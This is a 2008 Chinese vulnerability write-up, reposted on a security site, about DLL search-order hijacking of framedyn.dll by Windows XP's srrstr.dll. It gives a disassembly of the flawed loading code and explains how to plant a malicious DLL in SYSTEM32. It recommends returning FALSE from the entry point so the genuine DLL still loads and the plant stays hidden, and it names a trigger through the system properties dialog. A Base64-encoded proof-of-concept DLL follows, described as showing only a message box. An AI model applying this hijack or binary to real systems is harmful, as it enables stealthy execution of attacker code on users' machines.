首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
公开一个路径优先的"圈day"
来源:http://hi.baidu.com/wordexp/ 作者:wordexp 发布时间:2008-08-27  

受影响系统: Windows XP(home)SP1/SP2/SP3
                    Windows XP(pro) SP1/SP2/SP3
   
    srrstr.dll是系统还原功能所必须的一个模块,该模块位于SYSTEM32目录下,此模块
还会加载位于c:\windows\system32\webm\目录下的framedyn.dll,加载framedyn.dll
的代码如下:

System Restore Restore Operation Library
srrstr.dll
001B:5C0FF5A1 MOV       EDI,EDI
001B:5C0FF5A3 PUSH      EBP
001B:5C0FF5A4 MOV       EBP,ESP
001B:5C0FF5A6 SUB       ESP,000002E0
001B:5C0FF5AC MOV       EAX,[5C107CD8] ; "aS"
001B:5C0FF5B1 AND       DWORD PTR [EBP-02D8],00
001B:5C0FF5B8 PUSH      ESI
001B:5C0FF5B9 MOV       ESI,ECX
001B:5C0FF5BB PUSH      5C0E7B5C ; "framedyn.dll"
001B:5C0FF5C0 MOV       [EBP-04],EAX
001B:5C0FF5C3 MOV       [EBP-02E0],ESI
001B:5C0FF5C9 CALL      [KERNEL32!LoadLibraryW]       ;没有指定路径直接加载framedyn.dll
001B:5C0FF5CF TEST      EAX,EAX
001B:5C0FF5D1 MOV       [ESI+04],EAX
001B:5C0FF5D4 JZ        5C0FF5E5                      ;如果加载失败跳到5C0FF5E5
001B:5C0FF5D6 MOV       DWORD PTR [EBP-02D8],00000001
001B:5C0FF5E0 JMP       5C0FF722                      ;如果加载成功,退出函数

001B:5C0FF5E5 MOV       ESI,[5C0E124C]                ;直接加载失败后跳到这儿
001B:5C0FF5EB PUSH      EBX
001B:5C0FF5EC PUSH      EDI
001B:5C0FF5ED CALL      ESI
001B:5C0FF5EF TEST      BYTE PTR [5C10A5D4],02
001B:5C0FF5F6 MOV       [EBP-02DC],EAX
001B:5C0FF5FC MOV       EBX,5C0E7B4C ; "LoadFrameDyn"
001B:5C0FF601 MOV       EDI,5C108708 ; "d:\xpsprtm\admin\pc
001B:5C0FF606 JZ        5C0FF62F
001B:5C0FF608 PUSH      02
001B:5C0FF60A PUSH      EBX
001B:5C0FF60B PUSH      00000DF8
001B:5C0FF610 PUSH      EDI
001B:5C0FF611 CALL      5C101799
001B:5C0FF616 TEST      EAX,EAX
001B:5C0FF618 JZ        5C0FF62F
001B:5C0FF61A PUSH      DWORD PTR [EBP-02DC]
001B:5C0FF620 PUSH      5C0E7B18 ; "Failed to load framedyn
001B:5C0FF625 PUSH      00
001B:5C0FF627 CALL      5C0E898C
001B:5C0FF62C ADD       ESP,0C

001B:5C0FF62F PUSH      00000168                        ;如果加载失败都会跳到这儿
001B:5C0FF634 LEA       EAX,[EBP-02D4]
001B:5C0FF63A PUSH      EAX
001B:5C0FF63B CALL      [KERNEL32!GetSystemDirectoryW] ;得到SYSTEM32所在目录
001B:5C0FF641 TEST      EAX,EAX
001B:5C0FF643 MOV       [EBP-02DC],EAX
001B:5C0FF649 JNZ       5C0FF67D
001B:5C0FF64B CALL      ESI
001B:5C0FF64D TEST      BYTE PTR [5C10A5D4],02
001B:5C0FF654 MOV       ESI,EAX
001B:5C0FF656 JZ        5C0FF720
001B:5C0FF65C PUSH      02
001B:5C0FF65E PUSH      EBX
001B:5C0FF65F PUSH      00000E09
001B:5C0FF664 PUSH      EDI
001B:5C0FF665 CALL      5C101799
001B:5C0FF66A TEST      EAX,EAX
001B:5C0FF66C JZ        5C0FF720
001B:5C0FF672 PUSH      ESI
001B:5C0FF673 PUSH      5C0E7AF0 ; "Failed to load system d
001B:5C0FF678 JMP       5C0FF70A
001B:5C0FF67D ADD       EAX,15
001B:5C0FF680 CMP       EAX,00000168
001B:5C0FF685 JBE       5C0FF6B3
001B:5C0FF687 TEST      BYTE PTR [5C10A5D4],02
001B:5C0FF68E JZ        5C0FF720
001B:5C0FF694 PUSH      02
001B:5C0FF696 PUSH      EBX
001B:5C0FF697 PUSH      00000E11
001B:5C0FF69C PUSH      EDI
001B:5C0FF69D CALL      5C101799
001B:5C0FF6A2 TEST      EAX,EAX
001B:5C0FF6A4 JZ        5C0FF720
001B:5C0FF6A6 PUSH      DWORD PTR [EBP-02DC]
001B:5C0FF6AC PUSH      5C0E7AC0 ; "Buffer not big enough.
001B:5C0FF6B1 JMP       5C0FF70A
001B:5C0FF6B3 PUSH      5C0E7A98 ; "\wbem\framedyn.dll"
001B:5C0FF6B8 LEA       EAX,[EBP-02D4]
001B:5C0FF6BE PUSH      EAX
001B:5C0FF6BF CALL      [KERNEL32!lstrcatW]                ;SYSTEM32路径后面补"\wbem\framedyn.dll"
001B:5C0FF6C5 LEA       EAX,[EBP-02D4]
001B:5C0FF6CB PUSH      EAX
001B:5C0FF6CC CALL      [KERNEL32!LoadLibraryW]            ;以正确的路径重新加载
001B:5C0FF6D2 TEST      EAX,EAX
001B:5C0FF6D4 MOV       ECX,[EBP-02E0]
001B:5C0FF6DA MOV       [ECX+04],EAX
001B:5C0FF6DD JNZ       5C0FF716
001B:5C0FF6DF AND       [EBP-02D8],EAX
001B:5C0FF6E5 CALL      ESI
001B:5C0FF6E7 TEST      BYTE PTR [5C10A5D4],02
001B:5C0FF6EE MOV       ESI,EAX
001B:5C0FF6F0 JZ        5C0FF720
001B:5C0FF6F2 PUSH      02
001B:5C0FF6F4 PUSH      EBX
001B:5C0FF6F5 PUSH      00000E1F
001B:5C0FF6FA PUSH      EDI
001B:5C0FF6FB CALL      5C101799
001B:5C0FF700 TEST      EAX,EAX
001B:5C0FF702 JZ        5C0FF720
001B:5C0FF704 PUSH      ESI
001B:5C0FF705 PUSH      5C0E7A60 ; "Failed to load framedyn
001B:5C0FF70A PUSH      00
001B:5C0FF70C CALL      5C0E898C
001B:5C0FF711 ADD       ESP,0C
001B:5C0FF714 JMP       5C0FF720
001B:5C0FF716 MOV       DWORD PTR [EBP-02D8],00000001
001B:5C0FF720 POP       EDI
001B:5C0FF721 POP       EBX
001B:5C0FF722 MOV       ECX,[EBP-04]
001B:5C0FF725 MOV       EAX,[EBP-02D8]
001B:5C0FF72B POP       ESI
001B:5C0FF72C CALL      5C0F6966
001B:5C0FF731 LEAVE
001B:5C0FF732 RET

    漏洞是显而易见的,又是一个路径优先的问题,我们可以把一个特殊改造过的DLL放
到SYSTEM32下,并且命名为framedyn.dll,那么会调用srrstr.dll的程序也会优先加载我
们的framedyn.dll,然后我们的DLL在DllEntry处的返回值始终返回FALSH,srrstr.dll就会
再重新加载一次正确的DLL,这样隐藏性还是非常的好,而我们的恶意代码也能够执行.

    至于有哪些程序在什么时候会调用srrstr.dll,目前能想到的方法是执行SYSDM.CPL,
也就是"我的电脑"图标点右键选择"属性",嘿嘿.

    下面是我们小组的其它成员写的例子DLL(请放心无马,紧紧弹个对话框,只有600字节)
请命名为framedyn.dll并放在WINDOWS或SYSTEM32目录下(BLOG不能发附件,Base64编码了).

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAQAAAAFBFAABMAQIAU1dBTgAAAAAAAAAA4AAOIQsBBgGgAAAAIAAAAAAAAACoAQAAkAEAADAC
AAAAAAAQIAAAACAAAAAEAAAAAAAAAAQAAAAAAAAAUAIAAJABAAAAAAAAAgAAAAAAEAAAEAAAAAAQ
AAAQAAAAAAAAEAAAAAAAAAAAAAAA0AEAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAgAA
EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJABAAAI
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAACKAAAAAAIAAKAAAAAAAgAAAAAAAAAA
AAAAAAAAIAAAYC5yZWxvYwAAEAAAAKACAAAgAAAAoAIAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAA
AAACAAAAAAAAAAAAAAAAAABXb3JkRXhwAFWL7IN9DAF1E2oBaKABABBooAEAEGoA6AYAAAAzwMnC
DAD/JQACABD4AQAAAAAAAAAAAAAOAgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAACd
AU1lc3NhZ2VCb3hBAHVzZXIzMi5kbGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACQy
KTI8MgAAAAAAAAAAAAAAAAAAAAAAAA==


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·QQ Mail跨站脚本漏洞
·Discuz!NT 2.5(20080826更新前
·dedecms tag.php注入漏洞分析与
·Discuz Spache.php注射漏洞
·IE8 XSS Filter Bypass
·dedecms注射漏洞
·Apache Tomcat UTF-8编码漏洞
·phpwind任意修改管理员密码漏洞
·php第三方编码转换类安全警告
·安全天使sablog注射漏洞
·QQ客户端网站链接过滤不严可导致
·Discuz!论坛wap功能模块编码的注
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved